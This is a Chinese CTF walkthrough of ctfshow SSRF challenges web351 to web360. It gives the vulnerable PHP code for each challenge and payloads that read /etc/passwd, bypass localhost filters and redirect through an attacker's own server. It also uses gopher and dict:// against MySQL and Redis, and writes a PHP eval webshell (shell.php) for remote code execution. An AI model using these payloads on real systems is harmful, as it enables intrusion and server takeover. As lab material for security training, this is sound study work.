当前位置: 首页 > news >正文

ctfshow--web入门--SSRF

目录

web351

web352

web353

web354

web355

web356

web357

web358

web359

web360

工具打

手动打


web351

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

尝试一下file协议
url=file:///etc/passwd
可以发现有返回值, 读取flag.php文件
url=file:///var/www/html/flag.php
查看源代码可以发现flag
也可以直接使用http协议
url=http://127.0.0.1/flag.php
得到flag

web352

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?> 

过滤了localhost 和 127.0.0.1
且必须用http 或者https协议
绕过就行 :
--127.1可以被解析成127.0.0.1
--0可以被解析成127.0.0.1
127.0.0.1 ~ 127.255.255.254都表示localhost
进制转换 将127.0.0.1转换成十进制
127。0.0.1 也可以绕过

url=http://127.1/flag.php
url=http://0/flag.php
url=http://127.6.6.6/flag.php
url=http://2130706433/flag.php

web353

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?>

可以直接用上一道题的方法
进制转换或者用 0 替代啥的
url=http://0/flag.php

web354

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?>

sudo.cc相当于127.0.0.1 
或者改本地域名的A记录到127.0.0.1上,然后访问http://域名/flag.php

url=http://sudo.cc/flag.php

web355

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?>

限定了长度, 可以用之前的方法

url=http://0/flag.php
url=http://127.1/flag.php

web356

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?>

进一步限制了长度, 依旧可以用之前的方法

url=http://0/flag.php

web357

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {die('ip!');
}echo file_get_contents($_POST['url']);
}
else{die('scheme');
}
?>

利用302跳转
在自己的服务器上新建一个1.php ,写上如下内容

<?php
header("Location:http://127.0.0.1/flag.php"); 

url=http://[自己的域名]/1.php
可以得到flag
 

web358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){echo file_get_contents($url);
}

题目要求必须以 http://ctf 开头,以 show 结尾
可以具体的了解一下parse_url()函数


url=http://ctf.@127.0.0.1/flag.php?show

可以得到flag

web359

一个登录框
bp抓包

有个returl参数, 可以随意修改url


题目提示: 打无密码的mysql
工具: GitHub - tarunkant/Gopherus: This tool generates gopher link for exploiting SSRF and gaining RCE in various servers

利用gopher协议打mysql

直接使用工具

将_ 后面的内容再次url编码一下, 传上去
(PHP接收到POST或GET请求数据,会自动进行一次URL解码)
访问路径, 进行rce得到flag

web360

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

提示: 打redis

工具打

利用工具跟上题一样

依旧是要将_后面的字符再次url编码
然后传给url参数
反应有点慢, 而且后面还会返回一个 502 Bad Gateway
但是访问 shell.php 还是可以进行rce的

手动打

手动打的一个大概流程:
(第一遍没成功, 环境关了之后重复一下第二遍也没成功 , 因为之前是命名1.php 然后第三次直接又重复了一遍, 就改了个名字(shell.php), 居然就可以了,有点不理解 )
用dict协议探测一下是否在6379端口:

url=dict://127.0.0.1:6379

设置本地存放dir

url=dict://127.0.0.1:6379/config:set:dir:/var/www/html

然后开始写马,一般用十六进制

url=dict://127.0.0.1:6379/set:shell:"\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x61\x5d\x29\x3b\x3f\x3e"

设置文件名

url=dict://127.0.0.1:6379/set:dbfilename:shell.php

最后保存

url=dict://127.0.0.1:6379/save

访问shell.php 进行rce

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • Python爬虫与文本到语音转换实战:获取并播报长沙天气
  • golang interface指针实现
  • 数据库使用SSL加密连接
  • vue学习day08-v-model详解、sync修饰符、ref和$refs获取dom组件、Vue异步更新和$nextTick
  • 【C++】——入门基础
  • VECTOR,ARRAYLIST, LINKEDLIST的区别是什么?
  • MVC 生成验证码
  • 代码随想录算法训练营第11天
  • 知识图谱研究综述笔记
  • 根据vue学习react
  • Halcon机器视觉15种缺陷检测案例_2不均匀表面刮伤检测
  • VS编译和使用modbus库
  • Typescript 的联合类型和交叉类型
  • 【C++语言】正则表达式
  • 主机安全-进程、命令攻击与检测
  • Akka系列(七):Actor持久化之Akka persistence
  • android 一些 utils
  • Android组件 - 收藏集 - 掘金
  • EventListener原理
  • GDB 调试 Mysql 实战(三)优先队列排序算法中的行记录长度统计是怎么来的(上)...
  • go语言学习初探(一)
  • MyEclipse 8.0 GA 搭建 Struts2 + Spring2 + Hibernate3 (测试)
  • OpenStack安装流程(juno版)- 添加网络服务(neutron)- controller节点
  • OSS Web直传 (文件图片)
  • React系列之 Redux 架构模式
  • Redux 中间件分析
  • 大主子表关联的性能优化方法
  • 诡异!React stopPropagation失灵
  • 回顾 Swift 多平台移植进度 #2
  • 前端技术周刊 2019-02-11 Serverless
  • 浅谈Golang中select的用法
  • 突破自己的技术思维
  • 一起来学SpringBoot | 第三篇:SpringBoot日志配置
  • - 语言经验 - 《c++的高性能内存管理库tcmalloc和jemalloc》
  • 原生 js 实现移动端 Touch 滑动反弹
  • 追踪解析 FutureTask 源码
  • ‌‌雅诗兰黛、‌‌兰蔻等美妆大品牌的营销策略是什么?
  • #Datawhale AI夏令营第4期#多模态大模型复盘
  • #HarmonyOS:软件安装window和mac预览Hello World
  • (5)STL算法之复制
  • (LeetCode 49)Anagrams
  • (Ruby)Ubuntu12.04安装Rails环境
  • (八)Spring源码解析:Spring MVC
  • (力扣)循环队列的实现与详解(C语言)
  • (亲测)设​置​m​y​e​c​l​i​p​s​e​打​开​默​认​工​作​空​间...
  • (详细文档!)javaswing图书管理系统+mysql数据库
  • (一)SpringBoot3---尚硅谷总结
  • (原創) 博客園正式支援VHDL語法著色功能 (SOC) (VHDL)
  • (终章)[图像识别]13.OpenCV案例 自定义训练集分类器物体检测
  • ... 是什么 ?... 有什么用处?
  • .Net core 6.0 升8.0
  • .net core 控制台应用程序读取配置文件app.config
  • .NET Reactor简单使用教程
  • .NET 通过系统影子账户实现权限维持
  • .NetCore 如何动态路由